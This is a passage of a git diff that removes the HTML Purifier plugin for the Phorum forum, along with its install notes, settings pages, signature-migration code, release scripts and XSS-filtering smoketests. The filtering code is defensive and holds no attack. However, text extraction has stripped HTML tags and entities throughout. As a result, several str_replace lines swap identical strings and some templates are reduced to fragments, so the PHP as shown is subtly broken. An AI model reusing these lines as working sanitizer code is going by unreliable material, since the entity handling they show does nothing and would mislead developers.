3.0.0 for Phorum 5.2, released January 12, 2008 -# WYSIWYG and suppress_message options are now configurable via web - interface. -- Module now compatible with Phorum 5.2, primary bugs were in migration - code as well as signature and edit message handling. This module is NOT - compatible with Phorum 5.1. -- Buggy WYSIWYG mode refined -. AutoFormatParam added to list of default configuration namespaces - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/INSTALL b/classes/security/htmlpurifier/plugins/phorum/INSTALL deleted file mode 100644 index 23c76fc5c..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/INSTALL +++ /dev/null @@ -1,84 +0,0 @@ - -Install - How to install the Phorum HTML Purifier plugin - -0. PREREQUISITES ----------------- -This Phorum module only works on PHP5 and with HTML Purifier 4.0.0 -or later. - -1. UNZIP --------- -Unzip phorum-htmlpurifier-x.y.z, producing an htmlpurifier folder. -You've already done this step if you're reading this! - -2. MOVE -------- -Move the htmlpurifier folder to the mods/ folder of your Phorum -installation, so the directory structure looks like: - -phorum/ - mods/ - htmlpurifier/ - INSTALL - this install file - info.txt, ... - the module files - htmlpurifier/ - -3. INSTALL HTML PURIFIER ------------------------- -Download and unzip HTML Purifier . Place the contents of -the library/ folder in the htmlpurifier/htmlpurifier folder. Your directory -structure will look like: - -phorum/ - mods/ - htmlpurifier/ - htmlpurifier/ - HTMLPurifier.auto.php - ... - other files - HTMLPurifier/ - -Advanced users: - If you have HTML Purifier installed elsewhere on your server, - all you need is an HTMLPurifier.auto.php file in the library folder which - includes the HTMLPurifier.auto.php file in your install. - -4. MIGRATE ----------- -If you're setting up a new Phorum installation, all you need to do is create -a blank migrate.php file in the htmlpurifier module folder (NOT the library -folder. - -If you have an old Phorum installation and was using BBCode, -copy migrate.bbcode.php to migrate.php. If you were using a different input -format, follow the instructions in migrate.bbcode.php to create your own custom -migrate.php file. - -Your directory structure should now look like this: - -phorum/ - mods/ - htmlpurifier/ - migrate.php - -5. ENABLE ---------- -Navigate to your Phorum admin panel at http://example.com/phorum/admin.php, -click on Global Settings > Modules, scroll to "HTML Purifier Phorum Mod" and -turn it On. - -6. MIGRATE SIGNATURES ---------------------- -If you're setting up a new Phorum installation, skip this step. - -If you allowed your users to make signatures, navigate to the module settings -page of HTML Purifier (Global Settings > Modules > HTML Purifier Phorum Mod > -Configure), type in "yes" in the "Confirm" box, and press "Migrate." - -ONLY DO THIS ONCE! BE SURE TO BACK UP YOUR DATABASE! - -7. CONFIGURE ------------- -Configure using Edit settings. See that page for more information. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/README b/classes/security/htmlpurifier/plugins/phorum/README deleted file mode 100644 index 0524ed39d..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/README +++ /dev/null @@ -1,45 +0,0 @@ - -HTML Purifier Phorum Mod - Filter your HTML the Standards-Compliant Way! - -This Phorum mod enables HTML posting on Phorum. Under normal circumstances, -this would cause a huge security risk, but because we are running -HTML through HTML Purifier, output is guaranteed to be XSS free and -standards-compliant. - -This mod requires HTML input, and previous markup languages need to be -converted accordingly. Thus, it is vital that you create a 'migrate.php' -file that works with your installation. If you're using the built-in -BBCode formatting, simply move migrate.bbcode.php to that place; for -other markup languages, consult said file for instructions on how -to adapt it to your needs. - - -- NOTE ------------------------------------------------- - You can also run this module in parallel with another - formatting module; this module attempts to place itself - at the end of the filtering chain. However, if any - previous modules produce insecure HTML (for instance, - a JavaScript email obfuscator) they will get cleaned. - -This module will not work if 'migrate.php' is not created, and an improperly -made migration file may *CORRUPT* Phorum, so please take your time to -do this correctly. It should go without saying to *BACKUP YOUR DATABASE* -before attempting anything here. If no migration is necessary, you can -simply create a blank migrate.php file. HTML Purifier is smart and will -not re-migrate already processed messages. However, the original code -is irretrievably lost (we may change this in the future.) - -This module will not automatically migrate user signatures, because this -process may take a long time. After installing the HTML Purifier module and -then configuring 'migrate.php', navigate to Settings and click 'Migrate -Signatures' to migrate all user signatures to HTML. - -All of HTML Purifier's usual functions are configurable via the mod settings -page. If you require custom configuration, create config.php file in -the mod directory that edits a $config variable. Be sure, also, to -set $PHORUM['mod_htmlpurifier']['wysiwyg'] to TRUE if you are using a -WYSIWYG editor (you can do this through a common hook or the web -configuration form). - -Visit HTML Purifier at . - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/config.default.php b/classes/security/htmlpurifier/plugins/phorum/config.default.php deleted file mode 100644 index e047c0b42..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/config.default.php +++ /dev/null @@ -1,57 +0,0 @@ -set('HTML.Allowed', - // alphabetically sorted -'a[href|title] -abbr[title] -acronym[title] -b -blockquote[cite] -br -caption -cite -code -dd -del -dfn -div -dl -dt -em -i -img[src|alt|title|class] -ins -kbd -li -ol -p -pre -s -strike -strong -sub -sup -table -tbody -td -tfoot -th -thead -tr -tt -u -ul -var'); -$config->set('AutoFormat.AutoParagraph', true); -$config->set('AutoFormat.Linkify', true); -$config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); -$config->set('Core.AggressivelyFixLt', true); -$config->set('Core.Encoding', $GLOBALS['PHORUM']['DATA']['CHARSET']); // we'll change this eventually -if (strtolower($GLOBALS['PHORUM']['DATA']['CHARSET']) !== 'utf-8') { - $config->set('Core.EscapeNonASCIICharacters', true); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/htmlpurifier.php b/classes/security/htmlpurifier/plugins/phorum/htmlpurifier.php deleted file mode 100644 index 6f74fc8c9..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/htmlpurifier.php +++ /dev/null @@ -1,309 +0,0 @@ - $message){ - if(isset($message['body'])) { - - if ($message_id) { - // we're dealing with a real message, not a fake, so - // there a number of shortcuts that can be taken - - if (isset($message['meta']['htmlpurifier_light'])) { - // format hook was called outside of Phorum's normal - // functions, do the abridged purification - $data[$message_id]['body'] = $purifier->purify($message['body']); - continue; - } - - if (!empty($PHORUM['args']['purge'])) { - // purge the cache, must be below the following if - unset($message['meta']['body_cache']); - } - - if ( - isset($message['meta']['body_cache']) && - isset($message['meta']['body_cache_serial']) && - $message['meta']['body_cache_serial'] == $cache_serial - ) { - // cached version is present, bail out early - $data[$message_id]['body'] = base64_decode($message['meta']['body_cache']); - continue; - } - } - - // migration might edit this array, that's why it's defined - // so early - $updated_message = array(); - - // create the $body variable - if ( - $message_id && // message must be real to migrate - !isset($message['meta']['body_cache_serial']) - ) { - // perform migration - $fake_data = array(); - list($signature, $edit_message) = phorum_htmlpurifier_remove_sig_and_editmessage($message); - $fake_data[$message_id] = $message; - $fake_data = phorum_htmlpurifier_migrate($fake_data); - $body = $fake_data[$message_id]['body']; - $body = str_replace("\n", "\n", $body); - $updated_message['body'] = $body; // save it in - $body .= $signature . $edit_message; // add it back in - } else { - // reverse Phorum's pre-processing - $body = $message['body']; - // order is important - $body = str_replace("\n", "\n", $body); - $body = str_replace(array('<','>','&', '"'), array('<','>','&','"'), $body); - if (!$message_id && defined('PHORUM_CONTROL_CENTER')) { - // we're in control.php, so it was double-escaped - $body = str_replace(array('<','>','&', '"'), array('<','>','&','"'), $body); - } - } - - $body = $purifier->purify($body); - - // dynamically update the cache (MUST BE DONE HERE!) - // this is inefficient because it's one db call per - // cache miss, but once the cache is in place things are - // a lot zippier. - - if ($message_id) { // make sure it's not a fake id - $updated_message['meta'] = $message['meta']; - $updated_message['meta']['body_cache'] = base64_encode($body); - $updated_message['meta']['body_cache_serial'] = $cache_serial; - phorum_db_update_message($message_id, $updated_message); - } - - // must not get overloaded until after we cache it, otherwise - // we'll inadvertently change the original text - $data[$message_id]['body'] = $body; - - } - } - - return $data; -} - -// ----------------------------------------------------------------------- -// This is fragile code, copied from read.php:596 (Phorum 5.2.6). Please -// keep this code in-sync with Phorum - -/** - * Generates a signature based on a message array - */ -function phorum_htmlpurifier_generate_sig($row) { - $phorum_sig = ''; - if(isset($row["user"]["signature"]) - && isset($row['meta']['show_signature']) && $row['meta']['show_signature']==1){ - $phorum_sig=trim($row["user"]["signature"]); - if(!empty($phorum_sig)){ - $phorum_sig="\n\n$phorum_sig"; - } - } - return $phorum_sig; -} - -/** - * Generates an edit message based on a message array - */ -function phorum_htmlpurifier_generate_editmessage($row) { - $PHORUM = $GLOBALS['PHORUM']; - $editmessage = ''; - if(isset($row['meta']['edit_count']) && $row['meta']['edit_count'] > 0) { - $editmessage = str_replace ("%count%", $row['meta']['edit_count'], $PHORUM["DATA"]["LANG"]["EditedMessage"]); - $editmessage = str_replace ("%lastedit%", phorum_date($PHORUM["short_date_time"],$row['meta']['edit_date']), $editmessage); - $editmessage = str_replace ("%lastuser%", $row['meta']['edit_username'], $editmessage); - $editmessage = "\n\n\n\n$editmessage"; - } - return $editmessage; -} - -// End fragile code -// ----------------------------------------------------------------------- - -/** - * Removes the signature and edit message from a message - * @param $row Message passed by reference - */ -function phorum_htmlpurifier_remove_sig_and_editmessage(&$row) { - $signature = phorum_htmlpurifier_generate_sig($row); - $editmessage = phorum_htmlpurifier_generate_editmessage($row); - $replacements = array(); - // we need to remove add as that is the form these - // extra bits are in. - if ($signature) $replacements[str_replace("\n", "\n", $signature)] = ''; - if ($editmessage) $replacements[str_replace("\n", "\n", $editmessage)] = ''; - $row['body'] = strtr($row['body'], $replacements); - return array($signature, $editmessage); -} - -/** - * Indicate that data is fully HTML and not from migration, invalidate - * previous caches - * @note This function could generate the actual cache entries, but - * since there's data missing that must be deferred to the first read - */ -function phorum_htmlpurifier_posting($message) { - $PHORUM = $GLOBALS["PHORUM"]; - unset($message['meta']['body_cache']); // invalidate the cache - $message['meta']['body_cache_serial'] = $PHORUM['mod_htmlpurifier']['body_cache_serial']; - return $message; -} - -/** - * Overload quoting mechanism to prevent default, mail-style quote from happening - */ -function phorum_htmlpurifier_quote($array) { - $PHORUM = $GLOBALS["PHORUM"]; - $purifier =& HTMLPurifier::getInstance(); - $text = $purifier->purify($array[1]); - $source = htmlspecialchars($array[0]); - return "
    \n$text\n
    "; -} - -/** - * Ensure that our format hook is processed last. Also, loads the library. - * @credits - */ -function phorum_htmlpurifier_common() { - - require_once(dirname(__FILE__).'/htmlpurifier/HTMLPurifier.auto.php'); - require(dirname(__FILE__).'/init-config.php'); - - $config = phorum_htmlpurifier_get_config(); - HTMLPurifier::getInstance($config); - - // increment revision.txt if you want to invalidate the cache - $GLOBALS['PHORUM']['mod_htmlpurifier']['body_cache_serial'] = $config->getSerial(); - - // load migration - if (file_exists(dirname(__FILE__) . '/migrate.php')) { - include(dirname(__FILE__) . '/migrate.php'); - } else { - echo 'Error: No migration path specified for HTML Purifier, please check - modes/htmlpurifier/migrate.bbcode.php for instructions on - how to migrate from your previous markup language.'; - exit; - } - - if (!function_exists('phorum_htmlpurifier_migrate')) { - // Dummy function - function phorum_htmlpurifier_migrate($data) {return $data;} - } - -} - -/** - * Pre-emptively performs purification if it looks like a WYSIWYG editor - * is being used - */ -function phorum_htmlpurifier_before_editor($message) { - if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) { - if (!empty($message['body'])) { - $body = $message['body']; - // de-entity-ize contents - $body = str_replace(array('<','>','&'), array('<','>','&'), $body); - $purifier =& HTMLPurifier::getInstance(); - $body = $purifier->purify($body); - // re-entity-ize contents - $body = htmlspecialchars($body, ENT_QUOTES, $GLOBALS['PHORUM']['DATA']['CHARSET']); - $message['body'] = $body; - } - } - return $message; -} - -function phorum_htmlpurifier_editor_after_subject() { - // don't show this message if it's a WYSIWYG editor, since it will - // then be handled automatically - if (!empty($GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'])) { - $i = $GLOBALS['PHORUM']['DATA']['MODE']; - if ($i == 'quote' || $i == 'edit' || $i == 'moderation') { - ?> -
    -

    - Notice: HTML has been scrubbed for your safety. - If you would like to see the original, turn off WYSIWYG mode - (consult your administrator for details.) -

    -
    -
    -

    - HTML input is enabled. Make sure you escape all HTML and - angled brackets with &lt; and &gt;. -

    config; - if ($config->get('AutoFormat.AutoParagraph')) { - ?>

    - Auto-paragraphing is enabled. Double - newlines will be converted to paragraphs; for single - newlines, use the pre tag. -

    getDefinition('HTML'); - $allowed = array(); - foreach ($html_definition->info as $name => $x) $allowed[] = "$name"; - sort($allowed); - $allowed_text = implode(', ', $allowed); - ?>

    Allowed tags: .

    -

    -

    - For inputting literal code such as HTML and PHP for display, use - CDATA tags to auto-escape your angled brackets, and pre - to preserve newlines: -

    -
    <pre><![CDATA[
    -Place code here
    -]]></pre>
    -

    - Power users, you can hide this notice with: -

    .htmlpurifier-help {display:none;}
    -

    -
    - Copyright (C) - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -Also add information on how to contact you by electronic and paper mail. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the library, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the - library `Frob' (a library for tweaking knobs) written by James Random Hacker. - - , 1 April 1990 - Ty Coon, President of Vice - -That's all there is to it! - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/htmlpurifier/README b/classes/security/htmlpurifier/plugins/phorum/htmlpurifier/README deleted file mode 100644 index 7df1ebeda..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/htmlpurifier/README +++ /dev/null @@ -1,3 +0,0 @@ -The contents of the library/ folder should be here. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/info.txt b/classes/security/htmlpurifier/plugins/phorum/info.txt deleted file mode 100644 index 723465490..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/info.txt +++ /dev/null @@ -1,18 +0,0 @@ -title: HTML Purifier Phorum Mod -desc: This module enables standards-compliant HTML filtering on Phorum. Please check migrate.bbcode.php before enabling this mod. -author: Edward Z. Yang -url: http://htmlpurifier.org/ -version: 4.0.0 - -hook: format|phorum_htmlpurifier_format -hook: quote|phorum_htmlpurifier_quote -hook: posting_custom_action|phorum_htmlpurifier_posting -hook: common|phorum_htmlpurifier_common -hook: before_editor|phorum_htmlpurifier_before_editor -hook: tpl_editor_after_subject|phorum_htmlpurifier_editor_after_subject - -# This module is meant to be a drop-in for bbcode, so make it run last. -priority: run module after * -priority: run hook format after * - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/init-config.php b/classes/security/htmlpurifier/plugins/phorum/init-config.php deleted file mode 100644 index aa7b15599..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/init-config.php +++ /dev/null @@ -1,28 +0,0 @@ -'; -phorum_htmlpurifier_show_form(); - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/settings/form.php b/classes/security/htmlpurifier/plugins/phorum/settings/form.php deleted file mode 100644 index a47a5fae7..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/settings/form.php +++ /dev/null @@ -1,93 +0,0 @@ -hidden("module", "modsettings"); - $frm->hidden("mod", "htmlpurifier"); // this is the directory name that the Settings file lives in - - if (!empty($error)){ - echo "$error
    "; - } - - $frm->addbreak("Edit settings for the HTML Purifier module"); - - $frm->addMessage('

    The box below sets $PHORUM[\'mod_htmlpurifier\'][\'wysiwyg\']. - When checked, contents sent for edit are now purified and the - informative message is disabled. If your WYSIWYG editor is disabled for - admin edits, you can safely keep this unchecked.

    '); - $frm->addRow('Use WYSIWYG?', $frm->checkbox('wysiwyg', '1', '', $PHORUM['mod_htmlpurifier']['wysiwyg'])); - - $frm->addMessage('

    The box below sets $PHORUM[\'mod_htmlpurifier\'][\'suppress_message\'], - which removes the big how-to use - HTML Purifier message.

    '); - $frm->addRow('Suppress information?', $frm->checkbox('suppress_message', '1', '', $PHORUM['mod_htmlpurifier']['suppress_message'])); - - $frm->addMessage('

    Click on directive links to read what each option does - (links do not open in new windows).

    -

    For more flexibility (for instance, you want to edit the full - range of configuration directives), you can create a config.php - file in your mods/htmlpurifier/ directory. Doing so will, - however, make the web configuration interface unavailable.

    '); - - require_once 'HTMLPurifier/Printer/ConfigForm.php'; - $htmlpurifier_form = new HTMLPurifier_Printer_ConfigForm('config', 'http://htmlpurifier.org/live/configdoc/plain.html#%s'); - $htmlpurifier_form->setTextareaDimensions(23, 7); // widen a little, since we have space - - $frm->addMessage($htmlpurifier_form->render( - $config, $PHORUM['mod_htmlpurifier']['directives'], false)); - - $frm->addMessage("Warning: Changing HTML Purifier's configuration will invalidate - the cache. Expect to see a flurry of database activity after you change - any of these settings."); - - $frm->addrow('Reset to defaults:', $frm->checkbox("reset", "1", "", false)); - - // hack to include extra styling - echo ''; - $js = $htmlpurifier_form->getJavaScript(); - echo ''; - - $frm->show(); -} - -function phorum_htmlpurifier_show_config_info() { - global $PHORUM; - - // update mod_htmlpurifier for housekeeping - phorum_htmlpurifier_commit_settings(); - - // politely tell user how to edit settings manually -?> -
    How to edit settings for HTML Purifier module
    -

    - A config.php file exists in your mods/htmlpurifier/ - directory. This file contains your custom configuration: in order to - change it, please navigate to that file and edit it accordingly. - You can also set $GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'] - or $GLOBALS['PHORUM']['mod_htmlpurifier']['suppress_message'] -

    -

    - To use the web interface, delete config.php (or rename it to - config.php.bak). -

    -

    - Warning: Changing HTML Purifier's configuration will invalidate - the cache. Expect to see a flurry of database activity after you change - any of these settings. -

    -hidden("module", "modsettings"); - $frm->hidden("mod", "htmlpurifier"); - $frm->hidden("migrate-sigs", "1"); - $frm->addbreak("Migrate user signatures to HTML"); - $frm->addMessage('This operation will migrate your users signatures - to HTML. This process is irreversible and must only be performed once. - Type in yes in the confirmation field to migrate.'); - if (!file_exists(dirname(__FILE__) . '/../migrate.php')) { - $frm->addMessage('Migration file does not exist, cannot migrate signatures. - Please check migrate.bbcode.php on how to create an appropriate file.'); - } else { - $frm->addrow('Confirm:', $frm->text_box("confirmation", "")); - } - $frm->show(); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/settings/migrate-sigs.php b/classes/security/htmlpurifier/plugins/phorum/settings/migrate-sigs.php deleted file mode 100644 index 81c1f0ba9..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/settings/migrate-sigs.php +++ /dev/null @@ -1,77 +0,0 @@ -$PHORUM["mod_htmlpurifier"])); - $offset = 1; - } elseif (!empty($_GET['migrate-sigs']) && $PHORUM['mod_htmlpurifier']['migrate-sigs']) { - $offset = (int) $_GET['migrate-sigs']; - } - return $offset; -} - -function phorum_htmlpurifier_migrate_sigs($offset) { - global $PHORUM; - - if(!$offset) return; // bail out quick if $offset == 0 - - // theoretically, we could get rid of this multi-request - // doo-hickery if safe mode is off - @set_time_limit(0); // attempt to let this run - $increment = $PHORUM['mod_htmlpurifier']['migrate-sigs-increment']; - - require_once(dirname(__FILE__) . '/../migrate.php'); - // migrate signatures - // do this in batches so we don't run out of time/space - $end = $offset + $increment; - $user_ids = array(); - for ($i = $offset; $i < $end; $i++) { - $user_ids[] = $i; - } - $userinfos = phorum_db_user_get_fields($user_ids, 'signature'); - foreach ($userinfos as $i => $user) { - if (empty($user['signature'])) continue; - $sig = $user['signature']; - // perform standard Phorum processing on the sig - $sig = str_replace(array("&","<",">"), array("&","<",">"), $sig); - $sig = preg_replace("/<((http|https|ftp):\/\/[a-z0-9;\/\?:@=\&\$\-_\.\+!*'\(\),~%]+?)>/i", "$1", $sig); - // prepare fake data to pass to migration function - $fake_data = array(array("author"=>"", "email"=>"", "subject"=>"", 'body' => $sig)); - list($fake_message) = phorum_htmlpurifier_migrate($fake_data); - $user['signature'] = $fake_message['body']; - if (!phorum_api_user_save($user)) { - exit('Error while saving user data'); - } - } - unset($userinfos); // free up memory - - // query for highest ID in database - $type = $PHORUM['DBCONFIG']['type']; - $sql = "select MAX(user_id) from {$PHORUM['user_table']}"; - $row = phorum_db_interact(DB_RETURN_ROW, $sql); - $top_id = (int) $row[0]; - - $offset += $increment; - if ($offset > $top_id) { // test for end condition - echo 'Migration finished'; - $PHORUM['mod_htmlpurifier']['migrate-sigs'] = false; - phorum_htmlpurifier_commit_settings(); - return true; - } - $host = $_SERVER['HTTP_HOST']; - $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\'); - $extra = 'admin.php?module=modsettings&mod=htmlpurifier&migrate-sigs=' . $offset; - // relies on output buffering to work - header("Location: http://$host$uri/$extra"); - exit; - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/settings/save.php b/classes/security/htmlpurifier/plugins/phorum/settings/save.php deleted file mode 100644 index 7dbb767d0..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/settings/save.php +++ /dev/null @@ -1,27 +0,0 @@ -mods/htmlpurifier/config.php already exists. To change - settings, edit that file. To use the web form, delete that file.
    "; - } else { - $config = phorum_htmlpurifier_get_config(true); - if (!isset($_POST['reset'])) $config->mergeArrayFromForm($_POST, 'config', $PHORUM['mod_htmlpurifier']['directives']); - $PHORUM['mod_htmlpurifier']['config'] = $config->getAll(); - } - $PHORUM['mod_htmlpurifier']['wysiwyg'] = !empty($_POST['wysiwyg']); - $PHORUM['mod_htmlpurifier']['suppress_message'] = !empty($_POST['suppress_message']); - if(!phorum_htmlpurifier_commit_settings()){ - $error="Database error while updating settings."; - } else { - echo "Settings Updated
    "; - } -} - -function phorum_htmlpurifier_commit_settings() { - global $PHORUM; - return phorum_db_update_settings(array("mod_htmlpurifier"=>$PHORUM["mod_htmlpurifier"])); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/release1-update.php b/classes/security/htmlpurifier/release1-update.php deleted file mode 100644 index 834d38567..000000000 --- a/classes/security/htmlpurifier/release1-update.php +++ /dev/null @@ -1,110 +0,0 @@ - 1) { - echo 'More than one release declaration in NEWS replaced' . PHP_EOL; - exit; - } - file_put_contents('NEWS', $news_c); -} - -// ...in Doxyfile -$doxyfile_c = preg_replace( - '/(?<=PROJECT_NUMBER {9}= )[^\s]+/m', // brittle - $version, - file_get_contents('Doxyfile'), - 1, $c -); -if (!$c) { - echo 'Could not update Doxyfile, missing PROJECT_NUMBER.' . PHP_EOL; - exit; -} -file_put_contents('Doxyfile', $doxyfile_c); - -// ...in HTMLPurifier.php -$htmlpurifier_c = file_get_contents('library/HTMLPurifier.php'); -$htmlpurifier_c = preg_replace( - '/HTML Purifier .+? - /', - "HTML Purifier $version - ", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing HTML Purifier [version] header.' . PHP_EOL; - exit; -} -$htmlpurifier_c = preg_replace( - '/public \$version = \'.+?\';/', - "public \$version = '$version';", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing public $version.' . PHP_EOL; - exit; -} -$htmlpurifier_c = preg_replace( - '/const VERSION = \'.+?\';/', - "const VERSION = '$version';", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing const $version.' . PHP_EOL; - exit; -} -file_put_contents('library/HTMLPurifier.php', $htmlpurifier_c); - -$config_c = file_get_contents('library/HTMLPurifier/Config.php'); -$config_c = preg_replace( - '/public \$version = \'.+?\';/', - "public \$version = '$version';", - $config_c, - 1, $c -); -if (!$c) { - echo 'Could not update Config.php, missing public $version.' . PHP_EOL; - exit; -} -file_put_contents('library/HTMLPurifier/Config.php', $config_c); - -passthru('php maintenance/flush.php'); - -if ($is_dev) echo "Review changes, write something in WHATSNEW and FOCUS, and then commit with log 'Release $version.'" . PHP_EOL; -else echo "Numbers updated to dev, no other modifications necessary!"; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/release2-tag.php b/classes/security/htmlpurifier/release2-tag.php deleted file mode 100644 index 25e5300d8..000000000 --- a/classes/security/htmlpurifier/release2-tag.php +++ /dev/null @@ -1,22 +0,0 @@ -'; - -?> - - - HTML Purifier: All Smoketests - - - - -

    HTML Purifier: All Smoketests

    -
    - - - -
    - - - - - - HTML Purifier Attribute Transformation Smoketest - - - - -

    HTML Purifier Attribute Transformation Smoketest

    -
    -
    - HTML -
    -
    - CSS -
    -
    -Requires PHP 5.

    '); - -$xml = simplexml_load_file('attrTransform.xml'); - -// attr transform enabled HTML Purifier -$config = HTMLPurifier_Config::createDefault(); -$config->set('HTML.Doctype', 'XHTML 1.0 Strict'); -$purifier = new HTMLPurifier($config); - -$title = isset($_GET['title']) ? $_GET['title'] : true; - -foreach ($xml->group as $group) { - echo '

    ' . $group['title'] . '

    '; - foreach ($group->sample as $sample) { - $sample = (string) $sample; -?> -
    -
    - -
    -
    - purify($sample); ?> -
    -
    - - - - - - -
  • menu
  • ]]>
    -
  • dir
  • ]]>
    -
    - - Red
    ]]> - #0000FF
    ]]> - Arial]]> - - - -2]]> - -1]]> - 0]]> - 1]]> - 2]]> - 3]]> - 4]]> - 5]]> - 6]]> - 7]]> - 8]]> - +1]]> - +2]]> - +3]]> - +4]]> - +5]]> - - - Centered]]> - - - Left

    ]]>
    - Center

    ]]>
    - Right

    ]]>
    -
    - - -
    ToBe
    OrNot
    ToBe
    - ]]> - - - Or - Not - - - To - Be - - - ]]> - - - ]]> - I]]> - - - - - x1 - x2 - - - ]]> - - - x1 - x2 - - - ]]> -


    ]]> - - - - - This wants to wrap - really badly yes it does - - - ]]> - - - This wants to wrap - really badly yes it does - - - ]]> - - - tall]]> - - - a]]> -
    o]]>
    -
    - - ]]> - ]]> - - - B
    A]]>
    - B
    A]]>
    - IB
    A]]>
    - IB
    A]]>
    -
    - - - Left - 1.11.2 - - ]]> - - Right - 1.11.2 - - ]]> - - Top - 1.11.2 - - ]]> - - Bottom - 1.11.2 - - ]]> - - - ]]> - ]]> - top]]> - bottom]]> - middle]]> - - - lefta]]> - centera]]> - righta]]> - - - left]]> - center]]> - right]]> - - -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
    - - - - - - diff --git a/classes/security/htmlpurifier/smoketests/basic.php b/classes/security/htmlpurifier/smoketests/basic.php deleted file mode 100644 index 1c361727c..000000000 --- a/classes/security/htmlpurifier/smoketests/basic.php +++ /dev/null @@ -1,73 +0,0 @@ - true, - 'legacy' => true -); - -$page = isset($_GET['p']) ? $_GET['p'] : false; -if (!isset($allowed[$page])) $page = false; - -$strict = isset($_GET['d']) ? (bool) $_GET['d'] : false; - -echo ''; -?> - - - - - - - - HTML Purifier Basic Smoketest - - - - - -
    : -Swap
    -Valid XHTML 1.0 Transitional -
    -set('Attr.EnableID', true); - $config->set('HTML.Strict', $strict); - $purifier = new HTMLPurifier($config); - echo $purifier->purify(file_get_contents("basic/$page.html")); -} else { - ?> -

    HTML Purifier Basic Smoketest Index

    -
      - $b) { - ?>
    - - - * {background:#F00; color:#FFF; font-weight:bold; padding:0.2em; margin:0.1em;} -#core-attributes #core-attributes-id, -#core-attributes .core-attributes-class, -#core-attributes div[title='tooltip'], -#core-attributes div[lang='en'], -#core-attributes div[onclick="alert('foo');"], -#module-text abbr, -#module-text acronym, -#module-text div blockquote, -#module-text blockquote[cite='http://www.example.com'], -#module-text br, -#module-text cite, -#module-text code, -#module-text dfn, -#module-text em, -#module-text h1, -#module-text h2, -#module-text h3, -#module-text h4, -#module-text h5, -#module-text h6, -#module-text kbd, -#module-text p, -#module-text pre, -#module-text span q, -#module-text q[cite='http://www.example.com'], -#module-text samp, -#module-text strong, -#module-text var, -#module-hypertext span a, -#module-hypertext a[accesskey='q'], -#module-hypertext a[charset='UTF-8'], -#module-hypertext a[href='http://www.example.com/'], -#module-hypertext a[hreflang='en'], -#module-hypertext a[rel='nofollow'], -#module-hypertext a[rev='index'], -#module-hypertext a[tabindex='1'], -#module-hypertext a[type='text/plain'], -#module-list dl, -#module-list ul, -#module-list ol, -#module-list li, -#module-list dd, -#module-list dt, -.insert-declarations-above - {background:#008000; margin:0; padding:0.2em;} -#module-text span, #module-text div {padding:0; margin:0.1em;} -#module-list li, #module-list dd, #module-list dt {border:1px solid #FFF;} - -/* vim: et sw=4 sts=4 */ diff --git a/classes/security/htmlpurifier/smoketests/basic/allElements.html b/classes/security/htmlpurifier/smoketests/basic/allElements.html deleted file mode 100644 index 994c8df46..000000000 --- a/classes/security/htmlpurifier/smoketests/basic/allElements.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - HTML Purifier All Elements Smoketest - - - - - -

    HTML Purifier All Elements Smoketest

    - -

    This is the all elements smoke -test. It is divided by XHTML 1.1 style modules. Make sure -div, span and id are allowed, -otherwise there will be problems.

    - -

    Core attributes

    -
    -
    id
    -
    class
    -
    title
    -
    lang
    -
    xml:lang (green when lang also present)
    -
    style
    -
    onclick (and other event handlers)
    -
    - -

    Text module

    -
    - abbr - acronym -
    blockquote
    -
    blockquote@cite
    -
    - cite - code - dfn - em -

    h1

    -

    h2

    -

    h3

    -

    h4

    -
    h5
    -
    h6
    - kbd -

    p

    -
    pre
    - q - q@cite - samp - strong - var -
    - -

    Hypertext module

    - - -

    List module

    -
    -
    dl dt
